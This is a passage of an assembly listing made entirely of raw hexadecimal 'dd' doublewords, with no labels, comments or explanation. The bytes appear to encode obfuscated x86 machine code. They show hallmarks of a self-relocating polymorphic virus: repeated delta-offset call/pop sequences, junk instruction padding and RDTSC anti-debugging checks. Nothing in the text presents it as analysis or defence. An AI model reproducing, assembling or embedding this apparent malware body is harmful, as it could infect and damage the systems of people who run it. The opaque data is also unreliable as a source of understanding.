		dd 56460000h, 0EE6E46C3h, 986D7434h, 66A80CA2h,	0DA8BF88Bh
		dd 2BF19D89h, 95FF0606h, 6061CA5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 13C35747h, 87B5C906h, 60AD340Dh
		dd 0E5958B60h, 89060628h, 62DC595h, 0B58B6106h,	6060889h
		dd 99BD8361h, 6061Ch, 23840Fh, 12E90000h, 54000000h, 0D64D8601h
		dd 855A5683h, 86A4DD87h, 8E44FACAh, 665096CFh, 8B96FE8Bh
		dd 622A99Dh, 0A4B5FF06h, 6A0609A4h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 364CC357h
		dd 390D4AC1h, 1FFD95FFh, 0B5890606h, 60628A9h, 0A4A4B5FFh
		dd 6A0609h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 7C4183C3h, 0C68246A5h, 66B29190h,	95FFFB8Bh
		dd 6062B19h, 164DBD33h,	0BD830606h, 6062F65h, 5F840F02h
		dd 0E8000000h, 6, 0F2472310h, 8B660512h, 858B5BDAh, 60615F1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0EBC35141h
		dd 0BDAECEADh, 0C7874F59h, 20358D89h, 0EE80606h, 0A6000000h
		dd 4E6C3B71h, 4F44C128h, 3E8620B8h, 0AAF38198h,	5B757194h
		dd 0F0000C6h, 85C7F9BFh, 606034Dh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E5C35343h
		dd 58A12009h, 81270C4Fh, 0DE9A1h, 84DF0000h, 5657BD74h
		dd 8E230966h, 0E9F34B2Ch, 0FFFFF3ACh, 38A0Fh, 0F7800000h
		dd 69BD0B4Ah, 8B06062Eh, 50006AC1h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 6E271392h, 0BD8B4EB7h
		dd 60603E1h, 2369858Dh,	6A0606h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 45F240C3h, 5610BF66h
		dd 52505290h, 310F73B7h, 310F5250h, 585A585Ah, 5250505Fh
		dd 800F5250h, 0
		dd 60B3310Fh, 310F585Ah, 0B870Fh, 5E80000h, 0AE000000h
		dd 79FBEEFFh, 90585A5Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0C5C35141h, 0D5BD09EBh, 6A060626h, 0E5B58900h
		dd 6A060622h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 909CE2E3h, 159D8B97h, 66060608h
		dd 858DFB8Bh, 60A53D9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 5CC35040h, 0A71181F7h, 8BDA8B66h, 601719Dh
		dd 5C08306h, 2BEB8166h,	70B3905Ah, 0DE8B6650h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 81BD8B73h, 6A060604h, 8D316000h, 60614A9h, 5890Fh, 81660000h
		dd 619CB5C8h, 6AFBBF0Fh, 0D9BF0F00h, 2F9D95FFh,	6E90606h
		dd 15000000h, 1FF3E921h, 29858923h, 8D06062Bh, 995158Dh
		dd 0D1FFF806h, 23ADBD89h, 0BD830606h, 6061D3Dh,	73850F01h
		dd 31000000h, 62429BDh,	66026A06h, 0A3EDF381h, 6E890h
		dd 0ADBB0000h, 14B8A1Eh, 10E8h,	90E48E00h, 0CF4716EFh
		dd 0BAAAEB53h, 97BF95CCh, 5FFA8BD1h, 860F505Fh,	0Ah, 4800Fh
		dd 0BF660000h, 6A90D03Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C156C352h,	23F60FEAh
		dd 62D419Dh, 1D95FF06h,	6606062Ch, 21E9DF8Bh, 0E800000Ch
		dd 0
		dd 0E3ED815Dh, 2B060A53h, 624A19Dh, 0D8D8906h, 8D060626h
		dd 98EE585h, 6650FC06h,	489DA8Bh, 0AEB8124h, 647AD063h
		dd 35FFh, 85890000h, 6060129h, 258964h,	8B000000h, 62B0DBDh
		dd 0B19D0106h, 0FF06060Eh, 60F5D85h, 358D0106h,	6A06062Dh
		dd 53006AFFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0C7C3EEh, 5B2631C3h, 0B5FFE977h,	6062E99h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 6EC35040h
		dd 0FD95FF53h, 0E9060612h, 0FAh, 2249BD23h, 0B00606h, 0DB27BB66h
		dd 96BF70E6h, 0E46D3520h, 19D2371h, 3C060613h, 0D7830F61h
		dd 29000000h, 6173D8Dh,	0C8B60F06h, 45BD8B51h, 5F06062Eh
		dd 46EB8166h, 6BADCh, 0BD0B0000h, 6060EBDh, 6880Fh, 9D8B0000h
		dd 60631C9h, 9529C18Bh,	6061105h, 6004E8C1h, 80F2B70Fh
		dd 6661BCCEh, 0BD8BE2F7h, 60626A5h, 0BD8BC82Bh,	6061C29h
		dd 0D98BD18Bh, 12E9h, 0DE900h, 0EAD00000h, 84A3D108h, 0F59F1E68h
		dd 8B334DE5h, 61C3D85h,	8DBD8B06h, 8306061Eh, 0EF8007C0h
		dd 0C08399h, 1B89BD03h,	0D03B0606h, 10830Fh, 9D8B0000h
		dd 60628E1h, 3DE9h, 93E1BF00h, 8D8B07FAh, 6062619h, 65BD8B50h
		dd 5F06060Dh, 0F01E183h, 2184h,	0F59D2B00h, 8306060Eh
		dd 62619A5h, 8B66FE06h,	3D9589DAh, 8B06061Ch, 62E75BDh
		dd 0E906h, 0B58D0000h, 609DA10h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0C8C35343h,	2713922Bh, 0BB66FD6Eh
		dd 6AE41Ch, 3A18D89h, 95FF0606h, 6061AC9h, 30D9BD8Bh, 0F5B90606h
		dd 66000009h, 0E183FE8Bh, 0F98B66FCh, 6AFC6160h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0D242C351h, 0B2637ECBh, 0B6BB564Eh, 2B526C72h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 1D9D8BD4h, 0BA060612h, 0
		dd 0C233ADFCh, 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 5607C66h, 8D89D764h,	60614F5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 15C35040h, 65BD8B65h, 0E8060602h
		dd 0Ch,	7CAA1DB7h, 0CFB24AC4h, 9663C294h, 0FE9h, 4497FC00h
		dd 557BC0D5h, 8F40CBACh, 3C91721Dh, 880D5Bh, 12E90000h
		dd 94000000h, 22F9C858h, 0D5587794h, 8914963Ch,	9EFE0E23h
		dd 0DD958B6Bh, 6A060628h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 7B7CC351h, 0DB81ACD1h
		dd 2C2E805h, 11118D8Bh,	66500606h, 666CE781h, 0C28B505Fh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 2222C353h, 0BD8B6060h, 606118Dh, 1BD59D8Bh, 61610606h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0DEC35141h
		dd 89545263h, 6280185h,	0F5BD8306h, 6061Ah, 7C840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0F2A397C3h, 0DFA3B296h, 0E91F3959h, 12h, 0F5B02520h
		dd 7C32A710h, 205D420Ch, 8F9A98B5h, 0B5897857h,	60601BDh
		dd 0B8h, 0D28D8D00h, 6A06064Eh,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0F935C352h,	30AFE915h
		dd 173D9589h, 0E1FF0606h, 20ED8589h, 0BD830606h, 6062E49h
		dd 4840F00h, 8B000004h,	6017D9Dh, 49BD8306h, 106062Eh
		dd 40C840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0A40867C3h, 8DF01C83h, 6E9h, 0A6EBFF00h
		dd 83BF21D3h, 62E49BDh,	860F0306h, 39Ch, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 4DC35646h, 50AD6D73h
		dd 0DF8B66D6h, 6684B360h, 8166D98Ch, 8098D9CBh,	6A04E1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 70CD39C3h, 1DD4A7C2h, 0C5BD8BF9h, 0A060630h,	13840FC9h
		dd 6A000001h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0C466C350h, 8F95DC24h,	0FB8B2218h
		dd 2589858Bh, 0F520606h, 68Bh, 0DCF8100h, 5B3C1D4Dh, 34258533h
		dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BD8B77C3h, 6061DCDh, 50DF8B66h, 89DF8B66h
		dd 0BD8B2404h, 6062B05h, 7BEF8166h, 6A006A24h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 894FC355h, 623F995h,	2BF98B06h, 604A99Dh, 0F77D6806h
		dd 0E6BF6537h, 812617A4h, 0F4822434h, 0C3816528h, 237DFD79h
		dd 222195FFh, 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E9D86AC3h, 5, 0AEAC62D0h, 0A4858953h
		dd 660609A4h, 0E3E9FA8Bh, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 21EAC357h
		dd 858BD98Bh, 609A49Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 3FC35343h, 7FBB6653h,	1800C74Fh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0E866C351h, 0A0D823D3h, 0BCC825A8h, 8E8h
		dd 0E1AB8700h, 42B7365Ah, 0E5BD33A6h, 5B06062Ch, 0B5015157h
		dd 6060FB5h, 0B58B5B5Fh, 609A4A0h, 0DE5ABF66h, 2DA9858Bh
		dd 95890606h, 60631E9h,	6A0689h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 4F9AD8C3h, 0B393273Eh
		dd 89858B40h, 6A060625h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 42A8C355h, 24090161h
		dd 0E5075C3h, 79D78166h, 44689F8h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0F9C35545h,	84AE97D6h, 875BD615h
		dd 0C5F78166h, 0E96096A1h, 0Ch,	0AC7CD2ADh, 42CA7E00h
		dd 851A473Bh, 506125B0h, 0B796F2B3h, 9CB5FF9Bh,	8B0609A4h
		dd 627419Dh, 0FB066806h, 830F8792h, 3, 81F88B66h, 8F92404h
		dd 6A788Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 239115C3h, 603B5BDh, 0A4858D06h, 0BB0609A4h
		dd 754C180Ah, 90FABF0Fh, 0CE6BB51h, 505B2536h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 252A857Fh, 0FF7A10B2h, 6222195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 5361F92Bh
		dd 7E99D8Bh, 0C75F0606h, 62E4985h, 306h, 4ECF8100h, 8B2FF9A4h
		dd 0A4BD83DFh, 609A4h, 3A840Fh,	13E90000h, 0E1000000h
		dd 0D518B8D7h, 0CABD797Ch, 8A9C1CCFh, 0DD22B8B1h, 38E91591h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 654AC357h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 8E43C355h, 0D4A0D40Ch, 6A98DE54h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 475DC352h
		dd 2DAF3C5Ch, 0CBB7AD8h, 5E9h, 3580A000h, 0BD83B836h, 6062E49h
		dd 48850F03h, 89000003h, 620759Dh, 0A4BD8306h, 609A4h
		dd 335840Fh, 9D8B0000h,	6062B41h, 0A4A4B5FFh, 6A0609h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 31AD34C3h, 0DE40F4E8h, 1993B2Ch, 62E35B5h, 7195FF06h
		dd 6A06060Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 2614C357h, 8DBD2360h, 0E9060624h
		dd 0Ch,	49077F34h, 1B426A6Bh, 5CBAF4Ah,	0D88B6661h, 0A498B58Bh
		dd 0EF800609h, 106C701h, 0F000100h, 681h, 71850100h, 66060625h
		dd 0DCD4C381h, 0BE950h,	72450000h, 19BDEEE9h, 0E73B22F6h
		dd 2434891Ch, 27759D8Bh, 81660606h, 0FF882CD7h,	9A4A4B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 41BD8B7Fh, 0FF060627h, 61E4995h,	71BD8B06h
		dd 8B060601h, 9A498B5h,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 7BE5B396h, 858BDF8Bh
		dd 6062FC5h, 32059509h,	86890606h, 0C4h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0EDC35343h, 0C39C23B7h
		dd 958BD6ADh, 60628DDh,	58D0Fh,	47BF0000h, 834F907Bh, 0BD0904C2h
		dd 606144Dh, 8B205089h,	62189BDh, 75858D06h, 890609B7h
		dd 6157DBDh, 0B8868906h, 0F000000h, 18Ch, 6AFC00h, 1DC5BD29h
		dd 0B5FF0606h, 609A4A4h, 385AC781h, 95FF1CC6h, 6062C1Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h
		dd 6696F90Fh, 504E1ABFh, 8B9693B7h, 622C5BDh, 0A4B5FF06h
		dd 560609A4h, 0FF5FFEB3h, 61CA595h, 0CBEB8106h,	8326623Ch
		dd 61C99BDh, 840F0006h,	6Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0F9C35545h,	68C71B45h, 0F239B6Bh
		dd 5696FEBFh, 0BE957h, 12620000h, 697C6595h, 59132C76h
		dd 505B5B55h, 6A9607B7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 6E11C356h, 0EDC05747h
		dd 8B72981Dh, 631A1BDh,	41BD8906h, 0FF06062Ch, 9A4A4B5h
		dd 69B58906h, 0FF06062Bh, 61FFD95h, 0BE906h, 9A050000h
		dd 419F8AEAh, 954F37C0h, 21DB8130h, 0FF238D0Eh,	9A4A4B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 647B8181h, 6660E0FDh, 9D89D78Bh,	60624FDh
		dd 1995FF61h, 6A06062Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 971C351h, 92FBC934h
		dd 0F5B501C3h, 83060620h, 62F65BDh, 840F0206h, 34h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 54C35545h, 0BA5F4C6Eh
		dd 858BDD8Ah, 60615F1h,	38B0Fh,	8B660000h, 0C6FBh, 34D85C7h
		dd 606h, 66600000h, 0F7ACDE81h,	0E961D68Bh, 0FFFFF45Bh
		dd 8BFEB70Fh, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0DE8B6672h, 2369858Dh, 0BB900606h
		dd 546C7486h, 0FC8A5750h, 0F60905Bh, 1A83h, 14E800h, 0AE790000h
		dd 5C2BF2B6h, 0DBD8F4E0h, 663103A6h, 46C19AA2h,	895F7966h
		dd 6279DB5h, 6A6106h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 14h, 40C35343h, 0F57006Ah,	68Fh, 0EDBD8B00h
		dd 5B06061Ah, 0A98589h,	858D0606h, 60A62ADh, 5C083F9h
		dd 10E8h, 0E7FB9C00h, 0E1A35C5Ch, 0EC076C22h, 0E60A8844h
		dd 13E9FBh, 1A0F0000h, 3C38EDBDh, 9E51DF6Bh, 0D7F7AD4h
		dd 0AE635A1Ch, 66905FF8h, 0E850D88Bh, 13h, 360DC9CEh, 49420040h
		dd 27AA16D8h, 0DC79FDDFh, 0E86A0058h, 10h, 19466A47h, 88DC0969h
		dd 9A19C9D2h, 0F4E3B2D6h, 0F620BF66h, 6A905F5Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8B8DC351h, 6A006AF9h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 66B1C355h, 0E8F793BFh
		dd 10h,	0B4972C7Ah, 0F2E02A5Eh,	6AA08A25h, 0C4E04C29h
		dd 19800Fh, 13E80000h, 0F7000000h, 7E0B20D3h, 60984BA3h
		dd 8BBA0341h, 3E627AB9h, 5B5BB7DCh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0E5ACCFC3h
		dd 20FD9589h, 95FF0606h, 6062F9Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0E2C35040h,	158D8DBCh, 6A060995h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 364CC355h, 390D4AC1h, 0AE99D2Bh, 0CD000000h
		dd 0B809ED34h, 12C1AE4Ah, 6AD1FF72h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 1FB6C353h
		dd 0BE9h, 284FB400h, 0E203A9C8h, 5C8DDC7Ch, 1D3DBD83h
		dd 0F010606h, 9D85h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 8029B6C7h, 0F780C824h
		dd 89026A45h, 622DDB5h,	50509006h, 6E852h, 0ADBB0000h
		dd 14B8A1Eh, 14E8h, 0AA7A3100h,	5269C073h, 99264FF2h, 92881C7Bh
		dd 0D49D6662h, 0F5F5B33h, 90585A31h, 6840Fh, 0BD2B0000h
		dd 6061B1Dh, 2C1D95FFh,	6A0606h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 719A72C3h, 6313EEC7h
		dd 8860Fh, 8B510000h, 62241BDh,	80E95F06h, 0E800000Eh
		dd 0
		dd 0B7ED815Dh, 0F8060A62h, 1B258589h, 858D0606h, 6098EE5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0EBC35646h
		dd 960B373h, 61525B5h, 0CE806h,	51810000h, 810B1948h, 0E51ECEDDh
		dd 9D3191F8h, 606265Dh,	8B906159h, 0BB5650FAh, 193EB59Dh
		dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0F5A390C3h, 0DBEA5501h, 642DC780h, 35FFh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0C29CD4C3h, 0DF81B9B7h, 28F08789h, 258964h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 566DC357h, 34F951Ch, 0BF2ABC28h
		dd 159B2143h, 0F5D85FFh, 8D890606h, 6062D6Dh, 9509FF6Ah
		dd 6062021h, 0DF9B5FFh,	0BB660606h, 95FF8773h, 60612FDh
		dd 10BE9h, 0D9B70F00h, 0C78100B0h, 4C9E883Bh, 0E4F570E6h
		dd 4D9D8B71h, 3C060614h, 0ED830F61h, 81000000h,	0D578B2F3h
		dd 0C8B60F27h, 8BF3D780h, 6BAF8h, 8E90000h, 12000000h
		dd 8009853Ch, 8B4F8EC4h, 8BC18BD9h, 4E8C1FEh, 87D8529h
		dd 0F7660606h, 5ABF66E2h, 89C82BEEh, 61CB585h, 60D18B06h
		dd 8D8971B7h, 6061DE9h,	6E961h,	0BD230000h, 6061435h, 2E7D858Bh
		dd 0DB810606h, 424199B1h, 0E907C083h, 7, 0C14C389Dh, 83527D00h
		dd 0BD8B00C0h, 6061D61h, 830FD03Bh, 2Bh, 7219D8Bh, 870F0606h
		dd 18h,	5E8h, 29FD8F00h, 7E826DDh, 0F4000000h, 0A6FF3692h
		dd 5F5F603Fh, 43E9h, 8BDE8B00h,	604418Dh, 919D8B06h, 83060627h
		dd 840F01E1h, 2Ch, 224DB589h, 0A5830606h, 6060441h, 699D23FEh
		dd 8906062Bh, 62E7D95h,	5E906h,	2A7C0000h, 66C816B6h, 0E90EDCBFh
		dd 0
		dd 0E623B58Dh, 6A0609h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 6A9716C3h, 0EE900h, 0DC8A0000h
		dd 4FFD6DC3h, 0AA89FDBh, 0B9F11206h, 1AC995FFh,	0B5890606h
		dd 6062BD1h, 831B9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0FFBF0F02h, 8BFCE183h
		dd 600B99Dh, 6AFC06h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 94D0BC3h, 0B860D6D8h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0FDC35747h
		dd 0FA50C17Ch, 85299FB2h, 60612F9h, 0BAh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0C1493D50h, 0AE89Bh,	5D690000h, 1BF24695h, 54F1C7DAh
		dd 18A0Fh, 5FF50000h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 29918531h, 0BF0F0606h, 880DF8h, 0B9600000h, 0E9519B4h
		dd 0DD958B61h, 6A060628h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0C3ACC351h,	0CFA88A3Dh
		dd 27558D09h, 81660606h, 8B6E5CC3h, 611118Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0E8E9B428h, 89B6671Ch, 0FBBF022Dh, 330A71E3h, 60B919Dh
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 5A1FC355h, 5B53184h, 6A06062Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 39B9C350h, 89739D3Fh, 6144D95h, 0F5BD8306h, 6061Ah
		dd 4C840Fh, 0B80000h, 81000000h, 4D32EAE3h, 0D28D8D5Ch
		dd 6A06064Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 3827C352h, 9CF78166h, 8BE1FF21h
		dd 61761BDh, 0CE906h, 66790000h, 9DF7E8FAh, 43E2C83Bh
		dd 0BD8399EAh, 6062E49h, 44840F00h, 0E8000005h,	0Eh, 0AEEC11C4h
		dd 9FFE7193h, 0D2D08095h, 9D8BF161h, 6062E79h, 49BD835Fh
		dd 106062Eh, 538840Fh, 0C0B70000h, 2E49BD83h, 0F030606h
		dd 4F386h, 0BB666000h, 0BD8B561Ah, 60606FDh, 6AD98C66h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 1B13C353h, 80AF07C5h, 816604E1h, 0A9F0DEFh
		dd 0E5840FC9h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 8880C350h, 3587BB66h
		dd 2589858Bh, 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 52E578C3h, 620EBF36h, 33F43ECAh
		dd 6342585h, 0AABB6606h, 5760905Ch, 310F5250h, 0E85F585Ah
		dd 0Ah,	91666E8Eh, 0CBDED948h, 5857585Ah, 6050615Fh, 12E9h
		dd 0A3AD7E00h, 6DECDE80h, 781477A0h, 0D516CD4h,	66941F4Eh
		dd 9061F28Bh, 88E0Fh, 870F0000h, 2, 6ADF8Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 56C35242h, 68DAD2CBh
		dd 1AA99D8Bh, 4E80606h,	0FF000000h, 51001F03h, 6E9h, 0CF55400h
		dd 5F7D3EE5h, 14E950h, 61100000h, 6CC05047h, 7365929Dh
		dd 3098685h, 0BC13E182h, 448B1667h, 8F0F0424h, 2, 8BFE8Bh
		dd 4244489h, 0F69CBF66h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0A3752C80h, 15BF2388h
		dd 14E8629Fh, 25000000h, 0A87921C5h, 0ED976B14h, 6D8D9DAh
		dd 6FF40570h, 8B8149FDh, 613CDBDh, 8F0F5B06h, 6, 3149B589h
		dd 95FF0606h, 6062221h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0D7C35141h, 810D02ADh, 8589BF4Fh, 606279Dh
		dd 858B5160h, 6061D39h,	61D08B58h, 0A4A48589h, 6A0609h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0F5DA11C3h, 0F60DA8Bh, 0D87h, 8E900h, 8E8A0000h, 0B25C3D75h
		dd 8D012EC1h, 6060239h,	26BE961h, 95010000h, 6063119h
		dd 0A49C858Bh, 0FB8B0609h, 1800C7h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 60C899C3h
		dd 0F00BA291h, 5B58902h, 8B06062Bh, 9A4A0B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 2895586h, 0D977CB51h, 6810Fh, 8D310000h, 606226Dh, 0A9858BF8h
		dd 6A06062Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0BD84C352h, 7C1819A7h,	8589F9D2h
		dd 6061A7Dh, 0FE90689h,	4B000000h, 0EE8AD301h, 0CD346D98h
		dd 50B7243Dh, 858B82D0h, 6062589h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0BC35646h, 0ECF8CA4Ch, 0BD8B23C7h
		dd 6061AA1h, 6800Fh, 0EB810000h, 40D15489h, 6A044689h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C49CC352h, 1F24A56Ah, 96F98B2Ah,	52505350h
		dd 5F53310Fh, 965F585Ah, 2E019531h, 0B5FF0606h,	609A49Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E5C35141h
		dd 33FF6967h, 0DBD8BAEh, 60060600h, 0BE9h, 0D8FAB600h
		dd 40ED3571h, 0B5F87951h, 14E9h, 6D2CD800h, 8E479FE0h
		dd 0B2120128h, 6D42FC67h, 0C5BAFDA6h, 4E86180h,	0FF000000h
		dd 66001F03h, 508DB7BBh, 3880Fh, 8B660000h, 24448BDEh
		dd 0F515104h, 82h, 8B5B5F00h, 0C8BF5300h, 5F3A1E52h, 4244489h
		dd 2870Fh, 0FB8B0000h, 79858958h, 8D060633h, 9A4A485h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 68C512B2h, 0EA505179h, 90DEBF0Fh, 0E8525053h
		dd 0Ch,	0F2D38964h, 34426D66h, 519F9A88h, 0F310F5Bh, 80h
		dd 5B585A00h, 0BF525050h, 1CF39028h, 5060310Fh,	5A310F52h
		dd 0CE858h, 0DEB40000h,	0F2DEEE78h, 0ABB45283h,	6158D81Ch
		dd 0F90585Ah, 68Bh, 81B58900h, 0FF060621h, 6222195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0C04D20C5h, 6A6143h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0D780CCC3h, 4985C72Bh, 306062Eh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0B9FDC353h, 7A56E3F4h,	6DDA1989h
		dd 2929BD8Bh, 0BD830606h, 609A4A4h, 9840F00h, 0F9000000h
		dd 1EE9h, 0DE8B6600h, 110C3050h, 1114400h, 3010E8C1h, 21144h
